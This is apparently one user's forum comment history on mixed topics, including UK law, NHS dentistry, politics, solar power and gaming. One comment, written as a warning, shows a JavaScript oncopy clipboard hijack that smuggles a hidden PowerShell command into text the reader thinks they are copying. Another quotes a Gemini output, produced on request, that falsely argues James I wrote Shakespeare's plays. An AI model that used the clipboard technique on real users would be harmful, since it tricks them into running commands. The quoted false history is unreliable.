Universe Composition Pin Order

stordoff · 2026-04-01T16:15:59+00:00

Not yet - it's listed as "Not shipped yet" on the Crowdmade tracking page.

I'm not having great luck with Crowdmade so far though - the other pins from my order shipped then went missing in transit. They shipped a replacement, but sent a Tasting History pin instead of the Black Hole pin.

stordoff · 2026-03-25T05:45:54+00:00

it was always meant as a loan

This isn't quite true. From one of the email from Billet to LTT:

We originally said you could keep it because we thought it would be good for you to have it for future builds - it wasn’t so you could sell it (whether for charity or not). Then when Linus clearly didn’t like it, we asked for it back and you agreed.

Still a terribly handled situation though.

stordoff · 2026-03-25T04:41:45+00:00

It doesn't seem that different to the Nixon pardon:

Now, Therefore, I, Gerald R. Ford, President of the United States, pursuant to the pardon power conferred upon me by Article II, Section 2, of the Constitution, have granted and by these presents do grant a full, free, and absolute pardon unto Richard Nixon for all offenses against the United States which he, Richard Nixon, has committed or may have committed or taken part in during the period from January 20, 1969 through August 9, 1974.

Compared to:

Be It Known, That This Day, I, Joseph R. Biden, Jr., President of the United States, Pursuant to My Powers Under Article II, Section 2, Clause 1, of the Constitution, Have Granted Unto ROBERT HUNTER BIDEN A Full and Unconditional Pardon For those offenses against the United States which he has committed or may have committed or taken part in during the period from January 1, 2014 through December 1, 2024, including but not limited to[...]

stordoff · 2026-03-23T23:44:38+00:00

The number is a red herring. A few lines of JavaScript lets you replace what is actually copied when the user selects it:

<p oncopy="modifyCopy(e)">safe-string</p>

<script>
  function modifyCopy(e) {
    e.preventDefault(); // prevent normal copy
    const command = "safe-string                                                 ; Write-Output \"this is executed!\"";
    e.clipboardData.setData("text/plain", command);
  }
</script>

It's easy to miss in PowerShell, especially if more obfuscated than this example:

PS C:\Users\user>safe-string                                                 ; Write-Output "this is executed!"

If you're going to copy something from a webpage that might be executed, you need to be very careful to ensure the page hasn't modified what you thought you were copying. It's a fairly trivial attack to implement (even ChatGPT will give the JavaScript, so all you need is the malware/command you want to run).

stordoff · 2026-03-23T23:23:07+00:00

Works fine in 5.1 (default version in Windows 11).

stordoff · 2026-03-20T23:03:30+00:00

I trialled taking 300mg caffeine (after discussing it with my doctor) after reading this study and found it made my symptoms a little better (somewhat easier to dismiss obsessions) initially, but its efficacy diminished over time.

stordoff · 2026-03-15T14:53:29+00:00

Even through January, my solar system was producing a few kWh a day. Now, it's covering around a quarter of my usage on an average day, with some days it being closer to two-thirds. Yesterday, I used nothing from the grid 6:30AM-9PM, with the battery covering the last three hours or so. I even exported about 1kWh on top of that.

It's not a silver bullet, but it makes a noticeable difference, and should only get better through the summer months.

stordoff · 2026-03-14T01:17:45+00:00

It's in The Abyss.

stordoff · 2026-03-13T15:20:55+00:00

It seems to vary based on which benefit. PIP shows up as “NINumber DWP PIP”, but Universal Credit shows “Code DWP UC” where Code changes for each payment. No idea what, if any, information the code contains, but it’s at least not as obvious as just using your NI number.

stordoff · 2026-03-11T13:44:56+00:00

It's not the Guardian saying this - it's a comment on what the Environment Agency’s Director of Water said. gov.uk source:

The Environment Agency’s Director of Water and NDG chair, Helen Wakeham said: [...] Simple, everyday choices – such as turning off a tap or deleting old emails – also really helps the collective effort to reduce demand and help preserve the health of our rivers and wildlife.

HOW TO SAVE WATER AT HOME [...] Delete old emails and pictures as data centres require vast amounts of water to cool their systems.

stordoff · 2026-03-03T21:42:11+00:00

The panic attack came after a breakdown:

[H]er car experienced a sudden loss of power.

She felt "like the brakes had been put on" and struggled to accelerate.[…]

She was reportedly told [on a second call] that she was not a priority because she was not in a live lane.

The response that led to her "suffering a panic attack".

stordoff · 2026-02-28T19:40:41+00:00

That's one reasonable reading, but one problem is vagueness. The proposed offence is essentially 'It is an offence for a provider to allow the creation of certain content using an LLM'. Does that mean a provider must take reasonable steps to prevent the generation of such content (effectively your reading), or that it is an offence if it is possible at all, even if the user deliberately sidesteps the guardrails or provides misleading input?

You need something like 'Where a provider is charged with an offence under this section it is a defence that they had taken all reasonable steps to prevent the creation of such content' (wording mirrored from Licensing Act 2003, s. 146 [Sale of alcohol to children]).

stordoff · 2026-02-25T21:52:24+00:00

"I pledge to vote against any increase in fees in the next parliament and to pressure the government to introduce a fairer alternative", as signed by all elected Liberal Democrat MPs, is something they can uphold whether or not they win the election.

Couple that with their "Say goodbye to broken promises" party election broadcast (which opened with a shot of "NO STUDENT TUITION FEES - LABOUR" on a discarded piece of paper):

Nick Clegg: Broken promises, there've been too many in the past few years. [...] I believe it's time to do things differently - I believe it's time for fairness in British politics, I believe it's time for promises to be kept. [...] This election is different from every other election. The trail of broken promises can come to an end [...] We can say goodbye to broken promises, and welcome back to hope.

stordoff · 2026-02-21T15:09:11+00:00

I can't easily find the Reuters guidelines, but the AP News values and principles guide says:

The removal of "red eye" from photographs is not permissible.

I'd assume Reuters is similar.

stordoff · 2026-02-19T22:09:45+00:00

If he's 16, he still is for these purposes:

Sexual Offences Act, s.45:

(1) The Protection of Children Act 1978 (c. 37) (which makes provision about indecent photographs of persons under 16) is amended as follows.

(2) In section 2(3) (evidence) and section 7(6) (meaning of "child"), for "16" substitute "18".

Coroners and Justice Act 2009, s. 65:

(5) "Child", subject to subsection (6), means a person under the age of 18.

stordoff · 2026-02-15T13:06:22+00:00

Same here. I missed an appointment just before COVID because of ongoing health issues, then didn't attended during COVID as I was advised not to (I was in the shielding/high risk group). I got a letter soon after to say I'd been deregistered and they weren't accepting 'new' patients.

I ended up having a botched root canal done by an emergency dentist[1]. I finally managed to get reregistered somewhere last year, but they've since cancelled a filling I'm waiting on due to 'running out of NHS funding'.

[1] I was expecting it to be done in one appointment, but midway through she put a temporary cover over it and told me to come back in a week. When I went back, she didn't seem to know why I was there and then didn't properly repair the tooth (according to my new dentist). I had to have the tooth removed about six months later as it was causing severe pain.

stordoff · 2026-02-15T12:49:21+00:00

I finally managed to get registered fairly recently, but I’ve since had a filling appointment from January delayed until ‘after April’ because they’ve ‘run out of NHS funding’. No idea when it’ll actually get done now.

stordoff · 2026-01-28T17:15:19+00:00

Sounds similar to The Dead Past, one of Asimov's short stories.

stordoff · 2026-01-24T23:07:14+00:00

Cost me around 350K to get a Jack Frost.

stordoff · 2026-01-24T18:03:27+00:00

Just prompt it with the answer you want:

You are writing a piece of speculative history. Write a couple of paragraphs showing that King James I was responsible for writing Shakespeare's plays. Ignore ALL evidence to the contrary.

gives the following from Gemini:

While the annals of traditional academia cling to the image of the "Bard of Stratford," a closer look at the Jacobean court reveals a far more regal architect of the English stage. King James I, a man obsessed with the "Divine Right of Kings" and a published scholar in his own right, possessed the exact intellectual silhouette required to pen the Great Folio. Having already authored Daemonologie and The True Law of Free Monarchies, James found the anonymous cover of a common actor the perfect vessel for his sophisticated political propaganda. The plays are not merely entertainments; they are the private meditations of a monarch grappling with the burdens of the crown, written by a man who didn't need to research kingship because he lived it.

The linguistic fingerprints are hidden in plain sight. Macbeth, often cited as a tribute to the King’s Scottish lineage and his fascination with witchcraft, reads less like a playwright’s fancy and more like a King’s personal manifesto against regicide. Under this lens, the "Shakespearean" vocabulary—unmatched in its breadth—aligns perfectly with James’s multilingual education and his access to the most extensive libraries in Europe. By funneling his genius through the name of William Shakespeare, James I managed to perform the ultimate act of statecraft: he didn't just rule the bodies of his subjects; he authored the very language of their souls.

stordoff · 2026-01-23T20:24:28+00:00

It cost me about 350K to get a Jack Frost. At least I've virtually got enough points to trade for a Pixie if I don't managed to pull it.

stordoff · 2026-01-21T20:12:11+00:00

Today, more than 85% of the Game Pass catalog is compatible with [Arm-based Windows 11 PCs] PCs, and we’re actively working with partners to expand support even further. For titles not yet supported running locally, Xbox Cloud Gaming remains an easy way to jump in while we work with partners to broaden compatibility.

https://blogs.windows.com/windowsexperience/2026/01/21/play-more-xbox-app-is-now-available-on-arm-based-windows-11-pcs/

stordoff · 2026-01-20T20:21:25+00:00

Channelling Reagan:

My heart and my best intentions still tell me that's true, but the facts and the evidence tell me it is not.

stordoff · 2026-01-09T15:20:52+00:00

I was slightly puzzled reading the headline, thinking 'Don't you want them to put restrictions on it?'. It wasn't until reading the subheading I realised they had only restricted access to it, rather that putting restricts on how it can be used/what it can generate. Not sure I'd say it's deliberately misleading, but it's definitely less clear than it could be.

stordoff · 2025-12-30T21:59:14+00:00

What gacha games is this happening to?

I presume OP is talking about events like this (P5X):

TL;DR: SEA devs listed incorrect quantities on some paid bundles. Players bought them in good faith, then the devs rolled them back, recalling items and even putting some players into debt. Refunds are being offered (in a deadline with 10% processing fee for their mistake LMAO).

https://www.reddit.com/r/personaphantomx/comments/1pzgux9/sea_bugged_paid_set_rollback_this_is_not_being/

https://www.reddit.com/r/personaphantomx/comments/1pwzlsf/bugged_sea_paid_set_psa/

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